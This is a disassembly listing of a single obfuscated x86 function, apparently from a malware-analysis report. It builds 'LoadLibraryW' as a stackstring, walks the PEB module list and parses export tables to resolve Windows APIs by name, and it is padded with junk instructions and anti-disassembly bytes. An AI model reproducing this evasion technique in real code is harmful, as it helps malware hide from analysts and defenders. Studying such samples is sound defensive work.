Function at 0x10006c60
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add esp, 4
pop ebx
push edi
and edi, 0x6558
pop edi
mov byte [ebp - 0xafc], 0x4c
mov byte [ebp - 0xafb], 0x6f
mov byte [ebp - 0xafa], 0x61
mov byte [ebp - 0xaf9], 0x64
mov byte [ebp - 0xaf8], 0x4c
mov byte [ebp - 0xaf7], 0x69
mov byte [ebp - 0xaf6], 0x62
mov byte [ebp - 0xaf5], 0x72
mov byte [ebp - 0xaf4], 0x61
mov byte [ebp - 0xaf3], 0x72
mov byte [ebp - 0xaf2], 0x79
mov byte [ebp - 0xaf1], 0x57
mov byte [ebp - 0xaf0], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1f50], ecx
mov edx, dword [ebp - 0x1f50]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1f54], eax
mov ecx, dword [ebp - 0x1f54]
mov dword [ebp - 0x1934], ecx
push edx
push ebx
add esp, 4
call 0x10006d02
add byte [edx], dh
cmp al, byte [ebp + 0x44]
inc edx
xor al, 0x42
dec eax
add esp, 4
jmp 0x10006d0d
jmp 0x10006d14
pop edx
push esi
push ecx
add esp, 4
sub esi, 0xd827
pop esi
cmp dword [ebp - 0x1934], 0
jne 0x10006d39
mov dword [ebp - 0x894], 0
jmp 0x10006fe0
mov edx, dword [ebp - 0x1934]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xed0], ecx
push ecx
xor ecx, 0x170c7
call 0x10006d5f
add byte [eax + 0x3b], al
push eax
inc edi
inc ecx
dec esp
cmp al, byte [ebx + 0x575904c4]
and edi, 0x163ed
add edi, 0x111a0
pop edi
push ecx
push eax
add esp, 4
and ecx, 0x2a7c
pop ecx
cmp dword [ebp - 0xed0], 0
jne 0x10006d95
mov dword [ebp - 0x894], 0
jmp 0x10006fe0
mov edx, dword [ebp - 0xed0]
mov dword [ebp - 0x5d8], edx
push ebx
add ebx, 0x10fc7
and ebx, 0x9f5e
add ebx, 0xe9cc
pop ebx
push esi
push ebx
add esp, 4
or esi, 0x75b1
add esi, 0xbd0f
pop esi
push esi
push esi
add esp, 4
and esi, 0x161f9
pop esi
lea eax, [ebp - 0x1ae4]
mov dword [ebp - 0xecc], eax
mov ecx, dword [ebp - 0x5d8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xec8], edx
xor eax, eax
mov word [ebp - 0x274], ax
xor ecx, ecx
mov word [ebp - 0x44], cx
push esi
push eax
add esp, 4
or esi, 0x1389c
jmp 0x10006e0f
pop esi
push esi
or esi, 0x1865f
xor esi, 0x2cd3
call 0x10006e2b
add byte [edi], bh
cmp bh, byte [ebx]
dec eax
cmp cl, byte [edx + 0x47]
dec ebp
add esp, 4
pop esi
mov edx, dword [ebp - 0xec8]
mov ax, word [edx]
mov word [ebp - 0x12be], ax
mov ecx, dword [ebp - 0xec8]
add ecx, 2
mov dword [ebp - 0xec8], ecx
mov dx, word [ebp - 0x12be]
mov word [ebp - 0x274], dx
mov eax, dword [ebp - 0xecc]
mov cx, word [eax]
mov word [ebp - 0x12c0], cx
mov edx, dword [ebp - 0xecc]
add edx, 2
mov dword [ebp - 0xecc], edx
mov ax, word [ebp - 0x12c0]
mov word [ebp - 0x44], ax
push esi
call 0x10006e95
add byte [esi], bh
aaa
dec ebx
dec ebp
push eax
cmp eax, 0x4c48350
pop esi
push edi
sub edi, 0xaad6
jmp 0x10006ea5
xor edi, 0xda65
pop edi
push eax
push edi
add esp, 4
or eax, 0x1a98
pop eax
movzx ecx, word [ebp - 0x44]
test ecx, ecx
jne 0x10006ed5
movzx edx, word [ebp - 0x274]
movzx eax, word [ebp - 0x44]
sub edx, eax
mov dword [ebp - 0x193c], edx
jmp 0x10006f2f
movzx ecx, word [ebp - 0x274]
movzx edx, word [ebp - 0x44]
cmp ecx, edx
je 0x10006dfd
movzx eax, word [ebp - 0x274]
xor eax, 0x20
movzx ecx, word [ebp - 0x44]
cmp eax, ecx
je 0x10006dfd
movzx edx, word [ebp - 0x274]
movzx eax, word [ebp - 0x44]
cmp edx, eax
jge 0x10006f19
mov dword [ebp - 0x1938], 0xffffffff
jmp 0x10006f23
mov dword [ebp - 0x1938], 1
mov ecx, dword [ebp - 0x1938]
mov dword [ebp - 0x193c], ecx
cmp dword [ebp - 0x193c], 0
jne 0x10006f78
push ebx
push ecx
add esp, 4
call 0x10006f4a
add byte [edx], dh
aaa
dec edx
inc esi
inc esp
push eax
add esp, 4
jmp 0x10006f55
pop ebx
push ebx
push eax
add esp, 4
sub ebx, 0x589b
pop ebx
push edx
jmp 0x10006f69
pop edx
mov edx, dword [ebp - 0x5d8]
mov dword [ebp - 0x894], edx
jmp 0x10006fe0
push ebx
sub ebx, 0xddc3
xor ebx, 0x5cb7
sub ebx, 0x1df3
pop ebx
push ebx
push edi
add esp, 4
xor ebx, 0x877b
sub ebx, 0xabee
xor ebx, 0x35ab
and ebx, 0xc29
pop ebx
mov eax, dword [ebp - 0x5d8]
mov ecx, dword [eax]
mov dword [ebp - 0x5d8], ecx
mov edx, dword [ebp - 0x5d8]
cmp edx, dword [ebp - 0xed0]
je 0x10006fd6
mov eax, dword [ebp - 0x5d8]
cmp dword [eax + 0x30], 0
jne 0x10006da1
mov dword [ebp - 0x894], 0
push eax
push edi
add esp, 4
call 0x10006ff2
add byte [edx + 0x3d], al
dec edi
inc esi
xor eax, dword [eax + 0x41]
add esp, 4
or eax, 0xe57f
pop eax
push esi
and esi, 0x163a4
sub esi, 0x16d34
pop esi
push edi
and edi, 0x142ad
pop edi
cmp dword [ebp - 0x894], 0
jne 0x1000705c
push ebx
or ebx, 0x17504
jmp 0x10007027
jmp 0x1000702f
pop ebx
push ecx
push esi
add esp, 4
call 0x10007043
add byte [0x3a454e41], dh
inc ebp
inc esp
dec eax
add esp, 4
sub ecx, 0x75c7
pop ecx
mov dword [ebp - 0xbf8], 0
jmp 0x10007b84
push eax
push edx
add esp, 4
or eax, 0xb325
xor eax, 0x9af2
pop eax
push edi
and edi, 0x5b91
jmp 0x1000707b
pop edi
push eax
push ebx
add esp, 4
or eax, 0x101a9
or eax, 0xc563
pop eax
mov ecx, dword [ebp - 0x894]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3d0], edx
mov dword [ebp - 0x8a4], 0
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x1980], eax
cmp dword [ebp - 0x1980], 0
jne 0x100070cd
mov ecx, dword [ebp - 0x8a4]
mov dword [ebp - 0x490], ecx
jmp 0x100073be
mov edx, dword [ebp - 0x1980]
mov eax, dword [ebp - 0x3d0]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1984], eax
jne 0x100070f5
mov ecx, dword [ebp - 0x8a4]
mov dword [ebp - 0x490], ecx
jmp 0x100073be
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1984]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1988], edx
cmp dword [ebp - 0x1988], 0
jne 0x10007127
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0x490], eax
jmp 0x100073be
mov ecx, dword [ebp - 0x3d0]
add ecx, dword [ebp - 0x1988]
mov dword [ebp - 0x898], ecx
jne 0x1000714c
mov edx, dword [ebp - 0x8a4]
mov dword [ebp - 0x490], edx
jmp 0x100073be
mov eax, dword [ebp - 0x898]
mov ecx, dword [ebp - 0x3d0]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1f58], ecx
mov edx, dword [ebp - 0x898]
mov eax, dword [ebp - 0x3d0]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x2364], eax
mov ecx, dword [ebp - 0x898]
mov edx, dword [ebp - 0x3d0]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1f5c], edx
mov dword [ebp - 0x89c], 0
jmp 0x100071a6
mov eax, dword [ebp - 0x89c]
add eax, 1
mov dword [ebp - 0x89c], eax
mov ecx, dword [ebp - 0x898]
mov edx, dword [ebp - 0x89c]
cmp edx, dword [ecx + 0x18]
jae 0x100073b2
mov eax, dword [ebp - 0x89c]
mov ecx, dword [ebp - 0x1f58]
mov edx, dword [ebp - 0x3d0]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x8a0], edx
mov eax, dword [ebp - 0x89c]
mov ecx, dword [ebp - 0x2364]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1f5c]
mov ecx, dword [ebp - 0x3d0]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x1f60], ecx
mov dword [ebp - 0x1e0], 0
jmp 0x10007216
mov edx, dword [ebp - 0x1e0]
add edx, 1
mov dword [ebp - 0x1e0], edx
mov eax, dword [ebp - 0x8a0]
add eax, dword [ebp - 0x1e0]
movsx ecx, byte [eax]
test ecx, ecx
je 0x100072c8
mov edx, dword [ebp - 0x1e0]
movsx eax, byte [ebp + edx - 0xafc]
test eax, eax
je 0x100072c8
push eax
call 0x10007254
add byte [eax + 0x34], dl
dec edi
aaa
xor eax, 0x4046353b
dec esi
add esp, 4
jmp 0x1000725f
sub eax, 0xa9e0
jmp 0x1000726c
pop eax
push eax
or eax, 0x9df2
pop eax
mov ecx, dword [ebp - 0x8a0]
add ecx, dword [ebp - 0x1e0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1e0]
movsx ecx, byte [ebp + eax - 0xafc]
cmp edx, ecx
je 0x100072ba
mov edx, dword [ebp - 0x8a0]
add edx, dword [ebp - 0x1e0]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1e0]
movsx edx, byte [ebp + ecx - 0xafc]
cmp eax, edx
jne 0x100072c1
jmp 0x10007207
jmp 0x100072c8
push ecx
push esi
add esp, 4
call 0x100072da
add byte [edi], bh
xor ecx, dword [eax + 0x3d]
cmp ecx, dword [ecx + 0x38]
add esp, 4
xor ecx, 0x54ca
call 0x100072f0
add byte [edx], bh
dec ebp
aas
inc eax
dec eax
cmp bh, byte [esi]
add esp, 4
and ecx, 0x7c86
pop ecx
mov eax, dword [ebp - 0x8a0]
add eax, dword [ebp - 0x1e0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1e0]
movsx eax, byte [ebp + edx - 0xafc]
cmp ecx, eax
jne 0x10007327
mov dword [ebp - 0xed4], 0
jmp 0x10007396
push eax
push edx
add esp, 4
and eax, 0x1e8a
and eax, 0x3419
and eax, 0x17e46
pop eax
push edx
push ecx
add esp, 4
or edx, 0xe2a0
sub edx, 0x22d7
pop edx
push edi
or edi, 0x9a42
pop edi
mov ecx, dword [ebp - 0x8a0]
add ecx, dword [ebp - 0x1e0]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1e0]
movsx ecx, byte [ebp + eax - 0xafc]
or ecx, 0x20
cmp edx, ecx
jge 0x1000738c
mov dword [ebp - 0xed4], 0xffffffff
jmp 0x10007396
mov dword [ebp - 0xed4], 1
cmp dword [ebp - 0xed4], 0
jne 0x100073ad
mov edx, dword [ebp - 0x1f60]
mov dword [ebp - 0x490], edx
jmp 0x100073be
jmp 0x10007197
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0x490], eax
cmp dword [ebp - 0x490], 0
je 0x10007499
push edi
jmp 0x100073d2
call 0x100073e0
add byte [eax], bh
inc ebx
inc ebp
xor edi, dword [edi]
dec edi
cmp al, byte [ebx + 0xbe804c4]
add byte [eax], al
add byte [eax], al
dec ebp
dec ecx
dec esp
inc edx
push eax
inc edx
cmp ecx, dword [edx + eax*2 - 0x7d]
les eax, [ecx + eax*4]
out 0x7f, eax
xchg esp, eax
add byte [eax], al
pop edi
mov ecx, dword [ebp - 0x490]
sti
invalid
dec dword [ecx - 0x1f6373]
call dword [edi + 0x57]
add esp, 4
xor edi, 0x13153
pop edi
push edx
push eax
add esp, 4
jmp 0x10007422
pop edx
push ebx
push ecx
add esp, 4
add ebx, 0x756e
and ebx, 0xf50d
xor ebx, 0xedf1
pop ebx
mov edx, dword [ebp - 0x1f64]
mov dword [ebp - 0x1f68], edx
lea eax, [ebp - 0x1a68]
push eax
call dword [ebp - 0x1f68]
test eax, eax
jne 0x10007499
push esi
push eax
add esp, 4
or esi, 0x9558
xor esi, 0x55b7
xor esi, 0x3c19
sub esi, 0x7686
pop esi
push edi
jmp 0x1000747d
and edi, 0x12c50
sub edi, 0x9cf1
pop edi
mov dword [ebp - 0xbf8], 0
jmp 0x10007b84
push edx
push eax
add esp, 4
xor edx, 0x13a3
call 0x100074b4
add byte [eax + 0x4e], cl
inc ecx
cmp byte [eax + 0x3d], cl
inc edx
dec edi
xor eax, 0x4c48344
call 0x100074c7
add byte [ecx + 0x4f], cl
dec edi
push ebx
push esi
add esp, 4
and ebx, 0x7a1e
pop ebx